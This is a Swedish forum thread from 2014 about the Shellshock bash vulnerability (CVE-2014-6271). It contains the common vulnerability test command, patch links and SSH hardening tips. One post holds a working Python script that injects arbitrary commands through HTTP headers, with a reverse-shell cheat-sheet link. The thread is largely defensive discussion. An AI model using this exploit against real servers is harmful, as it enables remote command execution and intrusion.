Bash buggen CVE-2014-6271

2014-09-25, 00:37 #1

Medlem

Reg: Feb 2008

Inlägg: 313

Flera svenska webb sidor är sårbara för den nya bash buggen.
https://news.ycombinator.com/item?id=8361574
Man sätter en header till en bash funktion så exekveras funktionen när webbservern tolkar den.
OpenSSH ska också vara sårbar.
/aleph0

Citera

2014-09-25, 01:05 #2

Medlem

Reg: Jun 2014

Inlägg: 16

Finns en trevlig writeup här:
https://securityblog.redhat.com/2014...ection-attack/

Citera

2014-09-25, 01:09 #3

Medlem

Reg: Jun 2014

Inlägg: 16

Citat:

Ursprungligen postat av aleph0

Flera svenska webb sidor är sårbara för den nya bash buggen.
https://news.ycombinator.com/item?id=8361574
Man sätter en header till en bash funktion så exekveras funktionen när webbservern tolkar den.
OpenSSH ska också vara sårbar.
/aleph0

"ForceCommand is used in sshd configs to provide limited command execution capabilities for remote users. This flaw can be used to bypass that and provide arbitrary command execution. Some Git and Subversion deployments use such restricted shells. Regular use of OpenSSH is not affected because users already have shell access."

Citera

2014-09-25, 09:30 #4

Medlem

Reg: Okt 2009

Inlägg: 52

Testa om sidor är sårbara
http://shellshock.brandonpotter.com/

Citera

2014-09-25, 12:37 #5

Medlem

Reg: Jan 2012

Inlägg: 140

För att se om bash är sårbart kan man köra följande kommando:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Citera

2014-09-25, 13:32 #6

Medlem

Reg: Feb 2011

Inlägg: 356

Någon som kan få detta att funka?

Kod:

import urllib2, sys
#http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet


def make_request_all(url, command):
	request = urllib2.Request(url)
	opener = urllib2.build_opener()
	request.add_header("User-Agent", "() { :;}; "+command)
	request.add_header("Referer", "() { :;}; "+command)
	request.add_header("Cookie", "() { :;}; "+command)
	opener.open(request)


def main():
	if len(sys.argv) != 3:
		print "usage: python "+ sys.argv[0] + " target command"
		sys.exit(1)
	make_request_all(sys.argv[1], sys.argv[2])


if __name__ == '__main__':
	main()

Citera

2014-09-25, 15:27 #7

Medlem

Reg: Okt 2008

Inlägg: 719

Kan man inte ordna en ordentlig patch blir det bugg på bugg.

CVE-2014-7169 används mot den inte helt patchade CVE-2014-6271

http://seclists.org/oss-sec/2014/q3/685

Här finns en patch för buggen inklusive CVE-2014-7169 (yacc file patch).

http://www.circl.lu/pub/tr-27/

Citera

2014-09-25, 16:08 #8

Medlem

Reg: Feb 2007

Inlägg: 1 985

Ojoj, nu var det dags igen

Finns det nagon sammastalld lista over sarbara sidor?
(jag vet att det finns en trad pa Flashback, soker en mer
komplett lista) .Vill helst undvika handla fran sidor dar
det finns potentiella bakdorrar.

Citera

2014-09-25, 19:03 #9

Medlem

Reg: Okt 2009

Inlägg: 15 247

Citat:

Ursprungligen postat av lolgrrrrrl90

För att se om bash är sårbart kan man köra följande kommando:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

bash: varning: x: ignoring function definition attempt
bash: fel vid import av funktionsdefinition för "x"
this is a test

Undrar om buggen använts ofta...

Citera

2014-09-25, 20:18 #10

Medlem

Reg: Maj 2006

Inlägg: 3 685

Citat:

Ursprungligen postat av lolgrrrrrl90

För att se om bash är sårbart kan man köra följande kommando:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Citat:

Ursprungligen postat av Xelious

bash: varning: x: ignoring function definition attempt
bash: fel vid import av funktionsdefinition för "x"
this is a test

Undrar om buggen använts ofta...

På Mac OS X 10.9.4
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test

Citera

2014-09-26, 11:23 #11

Medlem

Reg: Aug 2014

Inlägg: 1 962

Citat:

Last failed login: Fri Sep 26 11:20:08 CEST 2014 from 61.174.51.215 on ssh:notty
There were 17616 failed login attempts since the last successful login.
Last login: Thu Sep 25 13:48:07 2014 from [mitt IP]

Pff.. lol.
Tur att
1. Vi har folk som patchar detta så fort
2. Jag har tillgång till datorn så att jag kan köra update

Inte bra att detta förekommer överhuvudtaget och att inte alla har det lika enkelt som jag.

Citera

2014-09-26, 13:09 #12

Medlem

Reg: Nov 2002

Inlägg: 1 488

Citat:

Ursprungligen postat av hydrol

Pff.. lol.
Tur att
1. Vi har folk som patchar detta så fort
2. Jag har tillgång till datorn så att jag kan köra update

Inte bra att detta förekommer överhuvudtaget och att inte alla har det lika enkelt som jag.

Kanske dags för något som Fail2ban?

Citera

Bash buggen CVE-2014-6271

Skapa ett konto eller logga in för att kommentera

Skapa ett konto

Logga in